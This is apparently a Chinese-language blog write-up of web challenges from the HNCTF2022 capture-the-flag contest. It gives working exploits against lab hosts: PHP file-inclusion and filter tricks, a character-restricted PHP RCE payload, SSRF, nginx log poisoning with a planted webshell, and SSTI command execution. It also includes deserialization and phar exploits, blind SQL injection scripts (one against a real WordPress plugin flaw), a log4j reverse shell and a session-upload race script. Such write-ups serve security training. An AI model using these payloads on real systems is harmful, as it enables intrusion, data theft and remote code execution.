[WEEK1]

Interesting_http

POST / HTTP/1.1
Host: 45.40.203.71:28396
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: user=admin
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6,ja;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

want=flag

image-20221001200903877

2048

你能达到20000分吗 获得的flag以NSSCTF{}格式提交

源代码搜索关键词20000

image-20221001201115512

将下面这个js代码放在控制台跑一下

alert(String.fromCharCode(24685, 21916, 33, 102, 108, 97, 103, 123, 53, 51, 49, 54, 48, 99, 56, 56, 56, 101, 50, 53, 99, 51, 102, 56, 50, 56, 98, 50, 51, 101, 51, 49, 54, 97, 55, 97, 101, 48, 56, 51, 125))

image-20221001201156021

拿到flag

easy_html

image-20221001201338629

提示./f14g.php

image-20221001201631241

传一个11位数的数字就行了,没懂这题要考啥

Interesting_include

源码

<?php
//WEB手要懂得搜索
//flag in ./flag.php

if(isset($_GET['filter'])){
    $file = $_GET['filter'];
    if(!preg_match("/flag/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

?filter=php://filter/convert.base64-encode/resource=flag.php

题目过于萌新

easy_upload

image-20221001202057325

image-20221001202115200

What is Web

image-20221001202337974

NSSCTF{Hell0_Weber_Wec0m3_come_2_web_w0r1d!}

Challenge__rce

源码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 

然后就是一点 一点构造,这里限制了长度很烦,环境是php7,可以用(func_name)()的方式调用;

${1}=[].[];$_=${1}[0];$_++;$_++;$__=$_;$_++;$_++;$_++;$_++;$_++;$__.=$_.${1}[1];${$__(95).$__(71).$__(69).$__(84)}[1]();

接着继续利用各种php特性缩短payload,最终我的payload缩短成了119长度如下

$_ = ([] . [])[0]; // A
$_++;
$__ = ++$_; //C
$_++;
$_++;
$_++;
$_++;
$__ .= ++$_ . ([] . [])[1]; // CHr
$_ = $__(95) . $__(71) . $__(69) . $__(84);
$$_[1]($$_[2]); // $_GET[1]($_GET[2])


// 换成一行

$_=([].[])[0];$_++;$__=++$_;$_++;$_++;$_++;$_++;$__.=++$_.([].[])[1];$_=$__(95).$__(71).$__(69).$__(84);$$_[1]($$_[2]);

image-20221002020243436

最后RCE

贴个我构造自增用到的脚本,方便我以后再用

<?php
$__ = 'C';
$_=$__;
if(isset($_GET['a'])){
    $a = $_GET['a'];
    $a = strtoupper($a);
    // echo '$_=$__;';
    while(1){
        if($a == $_){
            die();
        }else{
            echo '$_++;';
            $_++;
        }
    }
}else{
    highlight_file(__FILE__);
}

后面又想了一下,缩短到了111长度,利用的下划线的一个特性

$_=([]._)[0];$_++;$__=++$_;$_++;$_++;$_++;$_++;$__.=++$_.([]._)[1];$_=_.$__(71).$__(69).$__(84);$$_[1]($$_[2]);

[WEEK2]

ez_ssrf

源码

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data)) //感觉这里应该写feof($fp),这样写也能出结果,但是得等前面这个循环结束(大概循环10几秒20几秒的样子)
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

image-20221005151633166

index.php?port=80&host=127.0.0.1&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogbG9jYWxob3N0DQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo

easy_include

日志文件包含,在UA里面插入恶意php语句,然后包含nginx的日志文件路径/var/log/nginx/access.log

image-20221005124618274

?file=/var/log/nginx/access.log
1=system('cat /ffflllaaaggg');
<?php eval($_POST[1]);?>

Canyource

image-20221005131906655

金典的无参数命令执行,payload有很多

payload

eval(end(current(get_defined_vars())));&flag=system('tac flag.php');

easy_unser

payload

<?php

class body
{

    private $want, $todonothing;
    public function __construct($c)
    {
        $this->want=$c;
        $this->todonothing="pysnow";
    }
}

class unserializeorder
{
    public $CORE = 'php://filter/convert.base64-encode/resource=f14g.php';
}

$b= new unserializeorder();
$a = new body($b);

// echo serialize($a);
$final = serialize($a);
$final = str_replace('body":2:','body":3:',$final);
echo urlencode($final);

很简单直接打就是了

image-20221005222812257

easy_sql

有点恶心的盲注,error是被过滤了的意思

-- 单引号闭合  or '1'='1
#
^
is
and &&  => or
information => mysql.innodb_table_stats
sleep => benchmark
# -*- coding: utf-8 -*-
# @Time : 2022/10/5 19:36
# @Author : pysnow
import string
import requests

# ctf ccctttfff
# ctftraining flag
#
# 10.4.13-MariaDB
pay = "0' or if(ascii(substr(({}),{},1))>{},1,0) or '2'='1".replace(' ', '/**/')
url = 'http://43.143.7.97:28592/index.php'
result = ''
dic = '{}-_@.' + string.ascii_lowercase + string.digits

for i in range(3, 100):
    head = 27
    tail = 150
    while head < tail:
        mid = (head + tail) >> 1
        # payload = 'select database()'.replace(' ', '/**/')
        # payload = 'select group_concat(schema_name) from information_sch'.replace(' ', '/**/')
        # payload = "select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()".replace(' ', '/**/')
        # payload = "select group_concat(database_name) from mysql.innodb_table_stats".replace(' ', '/**/')
        # payload = "select group_concat(a.1) from (select 1,2,3 union select * from ccctttfff)a".replace(' ', '/**/')
        payload = "select group_concat(a.1) from (select 1 union select * from ctftraining.flag)a".replace(' ', '/**/')
        data = {
            "id": pay.format(payload, i, mid)
        }
        res = requests.post(url=url, data=data)
        # print(mid, data)

        if 'handsome' in res.text:
            head = mid + 1
        else:
            tail = mid
    result += chr(head)
    print(result)

image-20221005205206666

ez_SSTI

基本无过滤

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

image-20221005131010527

ohmywordpress

Wordpress的插件漏洞,给了源码,版本是6.0.2,最新版没有什么大洞,提示说flag在数据库里面,去wpscan官网找一下sql注入漏洞

image-20221017114330057

发现有两个插件akismet,simple-link-directory

image-20221017114430695

最后发现simple-link-directory存在sql注入漏洞,https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210

exp

curl 'http://example.com/wp-admin/admin-ajax.php' --data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)'

注入点在post_id

exp

# -*- coding: utf-8 -*-
# @Time : 2022/10/17 14:12
# @Author : pysnow

import string
import requests

# {3ee4baef-8fb1-4e0a-b07b-b8cf0153066}
# 3e
url = 'http://43.143.7.97:28222/wp-admin/admin-ajax.php'
pay = "1/**/or/**/if(ascii(substr(({}),{},1))={},1,0)#"
result = ''
dic = '-abcdef0123845679'
for i in range(8, 100):
    for j in dic:
        payload = "select group_concat(flag) from `ctftraining`.flag"
        data = {
            "action": "qcopd_upvote_action",
            "post_id": pay.format(payload, i, ord(j))
        }
        res = requests.post(url=url, data=data)
        # print(data, res.text)
        # print(res.elapsed.total_seconds())

        if 'success' in res.text:
            result += j
            break
        else:
            pass
    print(result)

image-20221021223316171

[WEEK3]

ez_phar

源码

<?php
show_source(__FILE__);
class Flag{
    public $code;
    public function __destruct(){
    // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?> 

很简单的phar,upload.php上传文件,使用伪协议触发

exp

<?php


class Flag
{
    public $code="system(\$_POST[1]);";

}

$a = serialize(new Flag());
$zip = new ZipArchive();
$res = $zip->open('hn.jpg',ZipArchive::CREATE); 
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();

image-20221016194415818

logjjjjlogjjjj

照着log4j2的复现文章打就是了,而且这个题目的环境是dockerhub上面的甚至没有改

https://blog.csdn.net/weixin_47179815/article/details/125654828

image-20221022154307729

用最下面那个payload

image-20221022154337228

url编码一下传过去,反弹上shell

image-20221022154359358

image-20221022155019913

Fun_php

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;

$getUserID = @$_GET['user']; 
$getpass = (int)@$_GET['pass']; 
$getmySaid = @$_GET['mySaid']; 
$getmyHeart = @$_GET['myHeart']; 

$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];

if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
    echo "Welcom T0 1he HNCTF2022<BR>";

if("state_HNCTF2022" == 1) echo $hint;
    else echo "HINT? NoWay~!<BR>";


if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
    // user 变量等于$user原本的值拼接上传参

if($user == 114514 && $getpass == $pass){
    // $user == 114514 php弱比较,所以直接传user=114514就行,因为aaaaa114514 == 114514
    // $getpass == $pass,随便传一个字符串或者数字0就会自动转化成0, 然后弱比较一个字符串为true
    if (!ctype_alpha($getmySaid)) 
    // mySaid必须为字符串
        die();
    if (!is_numeric($getmyHeart)) 
    // myHeart必须为数字
        die();
    if(md5($getmySaid) != md5($getmyHeart)){
        // 直接用特殊值md5就行,网上很多 以下是一些字符串md5值以0e开头 QNKCDZO 240610708 s878926199a s155964671a s21587387a
        die("Cheater!");
    }
    else
        $week_1 = true;
}

if(is_array($data)){
    for($i=0;$i<count($data);$i++){

        if($data[$i]==="Probius") exit();

        $data[$i]=intval($data[$i]);
    }
    if(array_search("Probius",$data)===0)
    // array_search弱比较,老考点了,直接传一个字符串或者数字0就行,data[]=a data[]=0
        $week_2 = true;

    else
        die("HACK!");
}
if($week_1 && $week_2){
    if(md5($data)===md5($verify))
        // ‮⁦HNCTF⁩⁦Welcome to
        if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F
        // unicode,也是老考点了,直接复制下来然后url编码一下就行
            if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
                die("HACK!");

                else{
                    echo "Fine!you win";
                    system("cat ./$want");
                    // 使用?通配符,fl4g.php == f???????
                 }
    }
    else
        die("HACK!");
}

?>

php黑魔法全家桶,先给出payload

http://43.143.7.127:28093/?user=114514&pass=a&mySaid=QNKCDZO&myHeart=240610708&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6ctf

data[]=0&verify[]=1&want=fl??????

分析直接放在源码注释里面了

sssti

ssti过滤了引号和关键词,但是给了request.cookies,符号啥的基本没过滤,所以随便打

GET /?name={{config[request.cookies.a][request.cookies.b][request.cookies.c][request.cookies.d](request.cookies.e)}} HTTP/1.1
Host: 43.143.7.127:28538
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Cookie: a=__init__;b=__globals__;c=__builtins__;d=eval;e=__import__('os').popen('cat flag').read()
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6,ja;q=0.5
Connection: close

image-20221017205913086

QAQ_1inclu4e

image-20221022130121727

脑洞题,include的参数是QAQ

image-20221022130212484

然后过滤了很多,基本上只能包含文件那种

直接采用session_upload_progerss文件上传RCE

# coding=utf-8
import io
import requests
import threading

sessid = 'Q'
data = {"cmd": "system('ls');"}
url = 'http://43.143.7.97:28368/'


def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url, data={
            'PHP_SESSION_UPLOAD_PROGRESS': "<?php  eval($_POST['cmd']);fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>"},
                            files={'file': ('q.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(url + '?QAQ=/tmp/sess_' + sessid, data=data)
        if 'q.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            # print("[+++++++++++++]retry")
            pass


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

image-20221022144332323

后面flag的位置也有点阴间

image-20221022144355549

/var/ffflllaaagggflag

[WEEK4]

没做

最后修改:2022 年 10 月 30 日
如果觉得我的文章对你有用,请随意赞赏
本文作者:
文章标题:HNCTF2022
本文地址:https://pysnow.cn/archives/597/
版权说明:若无注明,本文皆Pysnow's Blog原创,转载请保留文章出处。